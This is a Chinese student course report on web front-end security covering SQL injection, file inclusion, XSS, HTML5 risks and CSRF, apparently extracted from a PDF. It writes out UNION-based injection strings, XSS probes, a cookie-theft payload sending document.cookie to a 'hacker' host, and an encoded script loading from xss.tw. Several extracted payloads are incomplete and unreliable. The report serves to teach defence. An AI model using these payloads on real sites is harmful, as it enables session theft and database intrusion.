1、Web 前端认识班级:0441104姓名:夏维 ;王波学号: 2011211830 ;2011211832授课教师:董涛对 Web前端的 认识由于网络技术日趋成熟,黑客们也将注意力从以往对网络服务器的攻击逐步转移到了对 Web 应用的攻击上。根据 Gartner 的最新调查,信息安全攻击有 75%都是发生在 Web 应用而非网络层面上。同时,数据也显示,三分之二的 Web 站点都相当脆弱,易受攻击。然而现实确是,绝大多数企业将大量的投资花费在网络和服务器的安全上,没有从真正意义上保证 Web 应用本身的安全,给黑客以可乘之机。一、Web 的介绍1、 web 的起源Web 是 World Wid
2、e Web 的简称,中文称之为万维网,是用于发布、浏览、查询信息的网络信息服务系统,由许多遍布在不同地域内的 Web 服务器有机地组成2、 Web 架构的精妙处从技术层面上看,Web 架构的精华有三处:用超文本技术(HTML)实现信息与信息的连接;用统一资源定位技术(URL)实现全球信息的精确定位;用新的应用层协议(HTTP)实现分布式的信息共享。3、 Web 技术涉及的技术Web 是一种典型的分布式应用架构。Web 应用中的每一次信息交换都要涉及到客户端和服务端两个层面。因此,Web 开发技术大体上也可以被分为客户端技术和服务端技术两大类。(1)客户端技术HTML 语言的诞生Web 客户端的
3、主要任务是展现信息内容,HTML 语言是信息展现的最有效载体之一。作为一种实用的超文本语言, 1990 年,第一个图形化的 Web 浏览器“World Wide Web“终于可以使用一种为 Web 度身定制的语言-HTML 来展现超文本信息了。从静态信息到动态信息最初的 HTML 语言只能在浏览器中展现静态的文本或图像信息,随后由静态技术向动态技术逐步转变。1997 年,Microsoft 发布了 IE 4.0,并将动态 HTML标记、CSS 和动态对象模型发展成了一套完整、实用、高效的客户端开发技术体系,Microsoft 称其为 DHTML。同样是实现 HTML 页面的动态效果,DHTML
4、 技术无需启动 Java 虚拟机或其他脚本环境,可以在浏览器的支持下,获得更好的展现效果和更高的执行效率。为了在 HTML 页面中实现音频、视频等更为复杂的多媒体应用,又引入了对QuickTime 插件的支持。Real player 插件、Microsoft 自己的媒体播放插件Media Player 也被预装到了各种 Windows 版本之中。随后 Flash 插件的横空出世。(2)服务端技术与客户端技术从静态向动态的演进过程类似,Web 服务端的开发技术也是由静态向动态逐渐发展、完善起来的。二、漏洞挖掘漏洞挖掘技术一直是网络攻击者最感兴趣的问题,漏洞挖掘的范围也在随着技术的提升而有所变化.
5、在前期针对缓冲区溢出 格式化字符串 堆溢出 lib库溢出等技术都是针对 ELF 文件或者 PE 文件的漏洞挖掘技术.在针对 ELF 文件 PE 文件如*.exe 与*.dl 的漏洞挖掘过程中,出现了很多的漏洞挖掘技术,但是针对 PE 文件 ELF 文件的漏洞挖掘始终停留在了黑盒测试(包括单元黑盒测试)源代码审计等办法.通过 RATS 等源代码审计软件可以找到部分源代码级别的漏洞信息,但是毕竟源代码审计软件寻找的多数为 strcpy memcpy 等存在缓冲区溢出遗患的 C 函数,所以通过审计源代码的办法来进行漏洞挖掘是一个可能性系数很小的漏洞挖掘技术,而针对软件的黑盒子测试虽然也能找到一些软件
6、的漏洞,但可能性系数也会较小,在国外的一些进行漏洞挖掘的办法已经慢慢的提升为自己写黑盒子测试代码,然后针对系统或软件的某个功能模块进行模块化的漏洞挖掘技术.例如 Linux 内核的很多漏洞都是通过 fuzzing 技术找到的,fuzzing 即模糊测试的意思,大家可以理解为类似 SQL 盲注入类型的攻击技术.网络安全的界限在不断的提升,目前缓冲区溢出漏洞已经如 MS SQL 注入般的被很多人堵死,而在进行网络入侵渗透的过程中,很多人渗透成功的着力点都是通过 WEB 开始的,当然有些人是通过 MS SQL 注入,有些人通过其它的 WEB 漏洞技术一步步的走到了入侵成功的步骤.我们下面将会讨论一些
7、 WEB 漏洞挖掘的简单技术,通过这些简单技术的规则,然后配合经验的提高,大家或许会得到意想不到的效果.WEB漏洞的分类1、 SQL 注入SQL 注入漏洞,是依靠存在弱点的 WEB 脚本代码,来实现通过浏览器执行任意SQL 语句,从而实现最终获取某种权限的攻击技术.SQL 注入的关键部分在于对元数据的利用,所谓元数据即数据库的基础数据.例如我们可以通过 database() version()来获得数据库的名称及版本,而我们通过 SQL 内置函数获得的这些内容都属于数据库元数据的内容.理解了元数据的概念,在后面的章节我会给大家简单的讲解下通过元数据来获取 MySQL 的数据表.2、文件包含类型
8、,如 PHP的的远程 本地文件包含漏洞文件包含漏洞是 PHP 程序特有的一个弱点攻击,原理就是在使用 include 时没有安全的编程,而能够找到文件包含漏洞则是入侵一个 WEB 系统的很重要的因素,有了文件包含漏洞则可以很快速的达到上传 WEBSHELL,然后本地提升权限的作用.3、 XSSXSS 漏洞是被很多人遗忘的漏洞,但是 XSS 也是一个比较危险的安全隐患,我看到很多国内介绍 XSS 漏洞的文章大部分在如何欺骗管理员获得后台登陆帐户或者管理员的 cookies 文件.但这些仅仅是 XSS 漏洞的简单用法,如果寻找到的 XSS 漏洞可以任意执行任 Javascript 脚本,那安全性也
9、是不容忽视的.通过Javascript 脚本其实也可以做一些恶意的攻击,甚至可以获得一些 WEB 程序的源代码,当然这个要看大家对 Javascript 脚本的熟悉程度.例如我们这几天公布的这个可跨站执行任意 Javascript 脚本的漏洞,最后我也通过这个漏洞给客户演示了如何获取他们的服务器信息,并最终实现得到其一定权限的方法.同时例如 session 骗 cookies 欺骗,目前我也把这些规入了 XSS 漏洞的范围,当然仅仅研究这两个技术也是很值得大家去深入的进行漏洞挖掘的.二、WEB 漏洞挖掘规则漏洞挖掘规则需要一个 WEB 浏览器,如 IE Firefox 等即可,无需读取 WEB
10、 程序的源代码,只要某个规则符合了漏洞规则的要求,即可以采取相关的漏洞攻击技术进行相应的漏洞攻击办法例如:http:/website/index1.php?id=alert(“111“),如果对方的代码过滤了“双引号,那么可以通过http:/website/index1.php?id=alert(111),采用单引号测试,若单引号也过滤呢?OK,我们这样来测试http:/website/index1.php?id=alert(111),使用数字提交,这样测试 XSS 的漏洞就扩展到了三条,通过构造 HTML 语句来实现 XSS 漏洞的挖掘等等.XSS 的漏洞挖掘规则http:/website/
11、index1.php?id=alert(“111“)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=alert(111)http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=http:/website/index1.php?id=ht
12、tp:/website/index1.php?id=使用上面的这些简单漏洞规则,如果模糊测试一些站点的话,可以找到一些XSS 漏洞。下面的这四个语句判断是否存在 mysql 注入,其中号类型的测试已经不是很可行,特别在 PHP5 和 mysql5 的环境下:)http:/website/index1.php?id=1 http:/website/index1.php?id=1 and 1=1http:/website/index1.php?id=1 and 1=2http:/website/index1.php?id=1 order by 4 /4 为判断该表的列数,直到猜测到为止下面的语句来
13、获取 mysql 的一些信息,这里我们假设我们使用 order by 语句判断出的列数为 4http:/website/index1.php?id=1 and 1=1 union select 1,2,3,4http:/website/index1.php?id=1 and 1=1 union select version(),database(),user(),4http:/website/index1.php?id=1 and 1=1 union select 1/*http:/website/index1.php?id=1 and 1=1 union select version()/*
14、http:/website/index1.php?id=1 and 1=1 union select databse()/*猜测表名:http:/website/index1.php?id=1 and 1=1 union select 1,2,3,4 from database.table where 1=2/where 1=2 不打印猜测表的内容admin user articles news 必须在指定 select 的字段个数再使用,否则 mysql会报错.http:/website/index1.php?id=1 and 1=1 union select table_schema,ta
15、ble_name,table_rows,table_count from information_schema.tables /上面使用数据库的元数据来获取 mysql 的信息,前提是系统管理员没有禁止mysql 普通用户对元数据库的表查询,如果禁止了则该办法是无效的.在开始分析 mysql 数据库到底可以执行到那种程度的注入情况下分析了 mysql 的系统架构,最终发现通过 information_schema 数据库提供给 mysql 用户的元数据可以得到一些 mysql 数据库的基本信息,例如得到数据库的各个表信息等,还可以得到数据库的权限设置等信息, information_schem
16、a 数据库用到的表的具体字段1: KEY_COLUMN_USAGE 表constraint_schema: 存放数据库名table_schema: 存放数据库名table_name: 存放数据库表信息column_name: 存放数据库的字段信息,一般可以获取第一个字段或者自增字段的信息2: SCHEMA 表schema_name: 存放数据库名default_charater_set_name: 存放 charset 类型default_collation_name: 存放 charset 相关信息3: SCHEMA_PRIVILEGES 表grantee: 存放数据库用户名table_sc
17、hema: 表名privilege_type: 权限4: STATISTICS 表table_schema: 存放数据库名table_name: 存放表名index_schema: 数据库名index_name: 是否缩引column_name: 存放索引自增字段5: TABLES 表table_schema: 存放数据库名table_name: 存放表名table_type: 表类型 SYSTEM or BASE TABLEengin: MEMORY MYISAM InnoDBversion:table_rows:表的行数auto_increment: 自增的总行数create_time:
18、创建表的时间update_time: 更新表的时间create_options: 创建表时的约束条件有了这些以后,如果对方系统管理员忽略了这些,则可以达到我们不需要猜测表名而直接获取数据库表名的结果. 猜测列名:http:/website/index1.php?id=1 and 1=1 union select username,2,3,4 from user where 1=2按照这个规则依次类推,如果我们猜测到 user 表存在 username 字段,则程序执行是正常的,否则程序会出错,也可以使用 where 1=1 来打印表的信息,通过这样的办法就可以获取 mysql 数据库的某些关键
19、表的字段信息,如:admin 与password:)C: 文件包含漏洞文件包含漏洞的测试,有以下几个比较简单且有效的办法.1: 新建一个简单的 php 代码,如:,保存为*.txt 格式2: 新建一个简单的 php 代码,如:,保存为无后缀格式然后我们测试时只需要采取下面简单的办法即可,这里我们假设我们下面的文件URL 为http:/ XSS 漏洞的检测规则可能会发现包含文件漏洞,如果知道PHP 的某个函数存在缓冲区溢出,我们假设这个 PHP 的内置函数为 phphtml(char *str),假设 http:/website/file.php?inc=test,这里的参数 inc 经过 PH
20、P 代码时使用了 phphtml 内置函数,则可以使用下面的办法来触发漏洞http:/website/file.php?inc=11111111111n(n 为触发漏洞的最大字符数)当然类似这样的漏洞是需要写程序来自动运行的,然后来触发溢出并执行shellcode.但这里也存在一个问题,即一般情况下,类似 PHP 本身的溢出漏洞的利用是有些难度存在的.三:XSS的概述最重要的要了解XSS漏洞的是,他们是目前为止发现的,在所有网站超过80比例的定制Web应用程序中最常见的漏洞。虽然跨站点脚本在一段时间内一直被认为是中等程度的的漏洞,但XSS蠕虫和病毒的出现,已经提高了XSS的评估。软件开发人员和
21、安全专业人员需要知道它是多么简单,以防止代码开发过程中出现XSS漏洞,并且一经查出,他们是多么容易解决。XSS是一种攻击技术,它使得一个网站,写出攻击者提供的可执行代码,然后加载在用户的Web浏览器。也就是说,当黑客使用存在漏洞的网站作为攻击的通道时,用户是预定的受害者。1、非持久性xss 想想看,一个黑客想使用“http:/victim/”网站对用户进行XSS攻击。黑客会采取的第一个步骤是在http:/victim/找出一个XSS漏洞,然后构造一个特制的URL,也被称为链接。要做到这一点,黑客会搜寻网站上的客户端提供的数据可以被发送到Web服务器,然后回显到屏幕上的任何功能,比如搜索框。常见
22、的在线发布的博客。XSS漏洞往往出现在搜索框表单。在搜索字段中输入“test search”,响应页面将用户输入的文本在显示在三个不同的位置,查询字符串中包含值为“test+search”的“search”参数。这个URL值可以在运行时更改,甚至包括HTML / JavaScript的内容。http:/victim/ ,http:/victim/search.pl?search=test+search其3展示了原来的搜索词被替换为下面的HTML / JavaScript代码时会发生什么:Example 1.”alert(XSS%20Testing)结果页面弹出了一个无害的警告对话框。根据提示,
23、提交的代码已经成为web页面的一部分,证明了JavaScript已进入到http:/victim/的上下文并得到执行。其4展示了夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。其3,原来的搜索词将被替换为HTML/ JavaScript代码。其4,夹杂有新的HTML/ JavaScript代码的Web页面的HTML源代码。此时,黑客将会继续修改这个URL,包含更复杂的XSS攻击来利用用户。一个典型的例子是一个简单的cookie盗窃的攻击。Example 2.“var+img=new+Image();img.src=”http:/hacker /”%20+%20doc
24、ument.cookie;前面的JavaScript代码创建一个图像DOM(文档对象模型)对象。var img=new Image();因为JavaScript 代码在“http:/victim/”上下文中执行,所以它可以访问cookie数据。document.cookie;图形对象然后指派一个外域的URL发送带有Web浏览器的Cookie字符串的数据到“http:/hacker/”。img.src=”http:/hacker /” + document.cookie;下面是一个例子,是一个被发送的HTTP请求。Example 3. GET http:/hacker/path/_web_bro
25、wser_cookie_data HTTP/1.1 Host: host User-Agent: Firefox/1.5.0.1 Content-length: 0一旦黑客完成了他的攻击代码,他会通过垃圾邮件,留言板的帖子,即时消息和其他方法宣传这种特制的链接,试图吸引用户点击。是什么让这种攻击这么有效?用户可能点击正常的网络钓鱼邮件7中的链接是因为这个URL包含了真正的网站域名,而不是一种外观相似的域名或随机的IP地址。应当注意的是,过长的XSS链接可以使用URL缩短服务,如TinyURL.com进行伪装。2、持久型XSS持久型XSS攻击最常发生在由社区内容驱动的网站或Web邮件网站,不需要
26、特制的链接来执行。黑客仅仅需要提交XSS漏洞利用代码到一个网站上其他用户可能访问的地方。这些地区可能是博客评论,用户评论,留言板,聊天室,HTML电子邮件,wikis,和其他的许多地方。一旦用户访问受感染的网页,执行是自动的。这使得持续性的XSS的危险性比非持久性高,因为用户没有办法保护自己。一旦黑客成功在某个页面注入了漏洞利用代码,他将宣传受感染页面的URL来希望不知情的用户中招。即使用户对非持续性XSS的URL懂得识别,也会很容易的受到影响。无论使用非持续性或持续性的XSS漏洞,黑客可以利用用户,导致网络和财务上的损失,有许多的方法。2、传播的方法对于一个病毒或蠕虫想要成功,它需要一个执行
27、和传播的方法。电子邮件病毒通常在鼠标点击后执行,然后通过您的联系人列表来发送带有恶意软件的的邮件进行传播。网络蠕虫利用远程利用漏洞危害机器和并且通过连接到其他存在漏洞的主机进行传播。除传播之外,蠕虫病毒还是高度多样化,包括创造DDoS僵尸网络,垃圾邮件僵尸,或远程键盘监控的能力。XSS蠕虫与其他形式的恶意软件相似,但以自己独特的方式执行和传播。使用一个网站来存放恶意代码,XSS蠕虫和病毒通过控制Web浏览器,使得它复制恶意软件到网络上的其他地方去感染别人来进行传播。例如,一个含有恶意软件的博客评论,可以使用访问者的浏览器发布额外的感染性的博客评论。XSS蠕虫病毒可能会使得浏览器进行发送电子邮件
28、,转账,删除/修改数据,入侵其他网站,下载非法内容,以及许多其他形式的恶意活动。用最简单的方式去理解,就是如果没有适当的防御,在网站上的任何功能都可以在未经用户许可的情况下运行。在最后一节中,我们将重点放在XSS漏洞本身,以及用户可以怎么样被利用。现在,我们来看XSS恶意软件是如何可以进行远程通信。XSS漏洞利用代码,通常是HTML / JavaScript,使用三种方式使得浏览器发送远程HTTP请求的浏览器:嵌入式的HTML标签,JavaScript DOM的对象,XMLHTTPRequest。3、嵌入式HTML标签一些HTML标签具有在页面加载时会自动发起Web浏览器的HTTP请求的属性。
29、有一个例子是IMG的SRC属性。SRC属性用于指定在Web页面中显示的图像文件的URL地址。当你的浏览器载入带有IMG标签的网页,图像会自动被请求,并在浏览器中显示。但是,SRC属性也可以被用于任何Web服务器的其他URL,不仅仅是包含图像的。例如,如果我们进行了谷歌搜索“WhiteHatSecurity”我们最终得到了下面的URL:http:/ Web 浏览器连接到其他网站发送一个谷歌搜索请求是一种无害的例子。但这也说明了 XSS 恶意软件传播的另一种方法。四、HTML5 安全五种可能会利用 HTML5 的功能进行攻击的方法:1、表单篡改:另一个新功能让攻击者可以在被注入 JavaScrip
30、t 的网站(例如 XSS 攻击)中更改该网页上的表单行为。举例来说,攻击者可以改变一个网络商店的正常行为,不是将内容送到购买或是登录页面,而是将用户的身分认证信息发送到攻击者自己的网站。2、利用地理定位追踪受害者:地理定位是 HTML5 新功能中最受注目的一个。因为安全和隐私的考虑,网站必须先得到用户的批准,随后才能获得位置讯息。然而就和以前出现过的其他功能一样,例如 Vista 的用户帐户控制,Android的应用程序权限,还有无效的 HTTPS 凭证等,这些需要用户作决定的安全措施几乎没有任何效果。而一旦有了授权,网站不仅可以知道受害者的位置,而且还可以在用户移动时对其进行实时追踪。3、利
31、用桌面通知做社会工程学攻击:我们在 HTML5 的五大优秀功能文章中曾经提到过 HTML5 的一个新功能:桌面通知。这些出现在浏览器之外的弹出窗口,其实是可以用 HTML 程序代码进行定制的。虽然这种 功能带来了很不错的交互方式,但也可能导致社会工程学攻击,例如网络钓鱼或者假冒杀毒软件等。看看下面的图片就可以想象到,攻击者可以如何利用这个新功能 了。4、利用跨域请求或 WebSockets 的端口扫描:有了 HTML5,浏览器现在可以连到任何 IP 地址或网站的(几乎)任何端口。虽然除非目标网站有特别的允 许,不然并不能接收到来自任意端口连接的回应,但是研究人员表示,这类请求所花的时间可以用来
32、判断目标端口是打开的还是关闭的。因此攻击者就可以直接利用 浏览器对受害者的内部网络进行端口扫描。5、点击劫持更加容易:点击劫持本身不是种新的攻击,这种攻击的目的是窃取受害者的鼠标按钮点击,然后将点击定向到攻击者所指定的其他页面。攻击者的目的是让 用户在不知情的情况下点击隐藏的链接。目前,对于点击劫持最好的服务器端防御措施之一是被称为 Framekilling 的技术。本质上来说,受到影响的网 站可以利用 JavaScript 来验证自己是否在一个 iframe 中运行,如果是的话,就拒绝显示页面内容。这种技术已经被在用在 Facebook、Gmail 和其他一些网站中。但是 HTML5 在 i
33、frame 中增加了一个新的沙盒属性,该属性会让网站停止执行 JavaScript 脚本。在大多数情况 下,这其实是比较安全的做法,但也存在缺点,就是会抵消目前对点击劫持最好的防御措施。五、CSRFCSRF 是跨站请求伪造,也被称为“one click attack”或者 session riding,通常缩写为 CSRF 或者 XSRF,是一种对网站的恶意利用。尽管听起来像跨站脚本,但它与 XSS 非常不同,并且攻击方式几乎相左。XSS 利用站点内的信任用户,而 CSRF 则通过伪装来自受信任用户的请求来利用受信任的网站。与 XSS 攻击相比,CSRF 攻击往往不大流行和难以防范,所以被认为
34、比 XSS 更具危险性。即在某个恶意站点的页面上,促使访问者请求你的网站的某个 URL,从而达到改变服务器端数据的目的。这一类攻击依赖于你的网页中的表单,脆弱的表单很容易受到攻击。对于你网站中的访问者而言,可能会受到以下攻击:在你的网站之外记录受攻击者的日志(比如:Slashdot) ;修改受攻击者在你的网站的设置(比如:Google) ;修改你的硬件防火墙;使用受攻击者的登录信息在你的网站中发表评论或留言;将资金转移到另一个用户帐号中。CSRF 攻击的典型是那些使用 cookie 记录登录信息的网站,但对于一些允许某个 IP 地址访问的页面(如内部网) ,这一类攻击也会奏效。CSRF 攻击通
35、常会使用到 JavaScript(但不仅限于 JavaScript)实现跨站点自动提交表单表单数据可以隐藏,提交按钮可以伪装成链接或滚动条。 确定那些接受可改变服务器数据的 CGI 只接受 POST 参数,不接受 GET 参数,一些服务器端语言默认同时接受两种方式提交过来的参数;确定表单提交处理的是你自己的表单,可以使用一个隐藏字段中存放 MD5字符串,此字符串是将登录 cookie 数据与服务器端存放的密钥进行 MD5 之后的结果,只有这个 MD5 字符串正确时才接受表单数据;另外还可以增加一个更为严格的方法:在表单中增加一个时间戳的隐藏字段,并将其包含到 hash 字符串中,如果时间戳超过
36、某个时间,则认为表单已过期。当表单过期时,给出一个方法可以让用户重新提交表单,比如将用户之前填写的数据依旧放入表单中,但使用一个新的 hash 字符串。一个 PHP 的表单例子,表单代码:alert(“xss 测试 学号 2011211975”)& link=&url=进行反向编码dGl0bGU9JUI1JUM3JUMyJUJEJUNBJUE3JUIwJURDJUEzJUFDJUMzJURDJUMyJUVCJUIyJUJCJUQ1JUZEJUM4JUI3JUExJUEzPC9odG1sPjxzY3JpcHQ+YWxlcnQoHHhzc0vVIGb3MjAxMTIxMTk3NR0pPC9zY3J
37、pcHQ+JiBsaW5rPSZ1cmw9带入地址栏运行,得到测试成功,构造代码窃取 cookie.title=%B5%C7%C2%BD%CA%A7%B0%DC%A3%AC%C3%DC%C2%EB%B2%BB%D5%FD%C8%B7%A1%A3&link=&url=编码后得到:dGl0bGU9JUI1JUM3JUMyJUJEJUNBJUE3JUIwJURDJUEzJUFDJUMzJURDJUMyJUVCJUIyJUJCJUQ1JUZEJUM4JUI3JUExJUEzPC9odG1sPjxzY3JpcHQgc3JjPWh0dHA6Ly94c3MudHcvMzg0MT48L3NjcmlwdD4mbGluaz0mdXJsPQ=其中 xss.tw 是网络上所架构的一个 xss 测试平台,可以作为一个中转站记录点击者 cookie.这类渗透的平台的原理都是基于 PHP 等语言的 cookie 调用获取,核心功能代码如下:可见前端的漏洞是无处不在的,我们还应该更多地了解好这些安全的机理才能在以后无论是编写网站、软件或者从事相关工作时有更好的安全意识和防范措施。